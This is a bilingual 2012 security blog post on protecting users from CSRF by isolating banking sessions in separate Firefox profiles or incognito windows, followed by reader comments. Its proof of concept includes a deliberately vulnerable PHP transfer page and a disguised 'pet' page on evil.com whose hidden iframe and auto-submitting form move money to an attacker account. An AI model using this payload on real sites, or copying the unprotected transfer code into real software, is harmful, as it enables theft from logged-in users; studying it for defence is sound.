miércoles, 27 de junio de 2012

Client side CSRF protection


Como protegerse de CSRF 

 (English version below)


No voy a explicar en que consiste este ataque, ya que para eso están estas [1] [2] excelentes fuentes.

Uno como usuario está desprotegido, ya que es una vulnerabilidad de la aplicación en el servidor. Siempre te recomiendan que no abras links que vienen de personas desconocidas (aunque las conocidas bien pueden haber sido manipuladas) y todas esas cosas que quizás, quizás te protejan.

Si uno quiere agarrar el toro por las astas debería entonces examinar todo el código html y javascript del home banking para quizás, quizás verificar que del lado del cliente está bien, sin saber a ciencia cierta si del lado del servidor está bien.

Siendo más comprometido, uno debería hacerse a uno mismo el ataque y ver que falla y recién ahi operar con ese home banking, hasta que haya un upgrade y sea necesario repetir el proceso.

Me conviene ir al cajero.

Ahora bien, si hemos realmente comprendido la esencia del CSRF, podemos afirmar que si SÓLO estamos navegando el home banking, el ataque no es posible, ya que se basa en la incapacidad del navegador y del servidor de diferenciar entre las llamadas legítimas y la ilegítimas.

Si usamos un perfil de firefox exclusivamente para acceder al home banking, aunque en otro perfil entremos a un sitio malicioso con su ataque, no va a funcionar, pues estamos en contextos distintos, ¿no?

En firefox, hay que agregar "-no-remote -ProfileManager" al iniciar el programa [3], lo cual nos va a hacer elegir el perfil en el momento de abrir el programa.

A estos perfiles los podemos llamar "normal|toxico|inseguro" y "seguro|banco 1|banco 2|servicio 3". Lo más correcto sería crear un perfil para cada sitio sensible. 

Supongo que como efecto beneficioso colateral, no queda en nuestro historial "toxico" rastros de nuestros sitios sensibles.

Es muy importante no confundirse de perfil, claro.

Qué pasa con la "Navegación privada" de Firefox?


En 13.0.1, cuando inicias la navegación privada se reemplaza lo que estés navegando, asi que no es útil.

E incognito de Chrome?


Funciona bien, iniciás una ventana incognito y usas el home banking ahi, el resto de la navegación en las otras ventanas, pero, como dice Pipe y pronto comprobaré, ya he comprobado, no podés tener distintas ventanas incognito independientes.

POC


La prueba de concepto [4] que he hecho funciona bien, salvo que genera un popup que es bloqueado por FF. Una vez que aceptás el popup, la transacción se realiza, te das cuenta que hay algo mal, pero ya es tarde. Si tenés la habilidad de probarla en tus máquinas, mirando fijo el código de evil.com verás que se puede lograr la discreción del GET con la funcionalidad del POST. Yo lo hice pero no lo publico para que tengas la oportunidad de ejercer tu talento. (podés ir al próximo post, ahi está más bonito)

Me he centrado en home banking por ser donde está claro que hay dinero, pero esto aplica para cualquier sitio con autenticación.

Actualización: esta entrada ha generado un cierto feedback offline, puedes leerlo en http://seguridad-agile.blogspot.com.ar/2012/07/layer-8-csrf-protection.html


How to protect yourself from CSRF


I won't repeat any definition here, as there are good references like [1] and [2].

Being a server side vulnerability, you are unprotected as an user. Common advice is to avoid following links from unknown people and this kind of crap.

If you want to be safe, you have to analyze the html and javascript code served by the home banking site and hope that the server side implementation is not wrong.

To be really sure, you should attack yourself and if you do not succeed, repeat it again when there is an upgrade. Let's go back to the ATM.

If we really understand what CSRF is, we can assert that if we are only browsing the home banking site, the attack can not be carried on, as it is based upon the fact that neither the server nor the browser can tell good from bad requests.

So, while we use are using a firefox profile to access the home banking site, it is isolated from any other profile, no attack is possible, right?

Add "-no-remote -ProfileManager" to the startup of the program [3] and choose the profile for your current activity.

You can name them "common|toxic|insecure" and "secure|bank 1|bank 2". It is better to create one profile for each sensitive site. As a side effect, it leaves no trace of banking activity in the "toxic" profile.

Try not to mix the profiles!!!


What about Firefox's "Private browsing"?


With 13.0.1, when you start private browsing it replaces what you were browsing, so it is not useful

What about Chrome's incognito?


It works fine, start an incognito window and use home banking from there. Use the other windows to open new links. Keep in mind what Pipe said below, it seems that incognito windows share state, I'll check it soon, so you should not access more than one sensitive site at the same time.


POC


The poc [4] I've made works fine, but a popup window is blocked by FF. Once you accept the popup, the transaction is done and you are warned, but it is too late. With some extra work you can find a way to fix this issue. Or you can go to the next post...

There are two iframes, one using GET, the other POST.

This discussion was around home banking because your are dealing with money, but it applies to any other authenticated site.


Update: you can see the results of the offline discussion generated by this entry here: http://seguridad-agile.blogspot.com.ar/2012/07/layer-8-csrf-protection.html

Referencias


[1] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

[2] http://en.wikipedia.org/wiki/Cross-site_request_forgery

[3]  add -no-remote -ProfileManager to...
  • windows xp::firefox::español: acceso directo a firefox -> botón derecho -> propiedades -> agregar a "destino".
  • linux::gnome2::firefox::english: launcher->right click -> properties ->  add to "command"
  • linux::kde3::firefox::english: button->right click-> configure ff web browser button->application ->add to "command"
  •  
[4] POC

clave: password
transferencia: transfer
origen: origin
destino: target
transferir: to transfer
entrar sistema: login
autenticado: authenticated
valor: value
tomatelas, no autenticado: fuck off, not authenticated
linda mascota: cute pet
transfiriendo: transfering
mascota inofensiva: harmless pet
cuenta cliente: customer account
cuenta atacante: attacker account
encantador: charming

[login.php@good.com]
<?php

session_start();

if (isset($_SESSION['auth']) || isset($_REQUEST['clave']) && $_REQUEST['clave'] == "1234") {
       $_SESSION['auth'] = 1;
?>
<form method="post" action="transferencia.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input type="submit" value="transferir"</input>
</form>

<?php

    } else {
?>
<form method="post">
<input name="clave">clave</input>
<input type="submit" value="entrar sistema"</input>

</form>
<?php

}


--------------------

[transferencia.php@good.com]
<?php

session_start();

if (isset($_SESSION['auth'])) {
    print "autenticado</br>";
    print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'] . " $". $_POST['valor'];

} else {
    print "tomatelas, no autenticado";
}


--------------------

[linda_mascota.html@evil.com]
<html>
<head>
<title>
Mascota inofensiva en evil.com
</title>

<body>

<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />

<iframe height="0" width="0" src="http://good.com/transferencia.php?origen=cuenta_cliente&destino=cuenta_atacante&valor=1000pe"
</iframe>

<iframe name=ifr width="0" height="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://good.com/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>

2 comentarios:

  1. Muy bueno, Charly.
    Nomás un pequeño dato, no sé si tan obvio, para Chrome: múltiples instancias del Incognito comparten sesión.

    ResponderEliminar
  2. Ups, eso nos decanta a perfiles de firefox, mañana hago las pruebas pertinentes y actualizo

    ResponderEliminar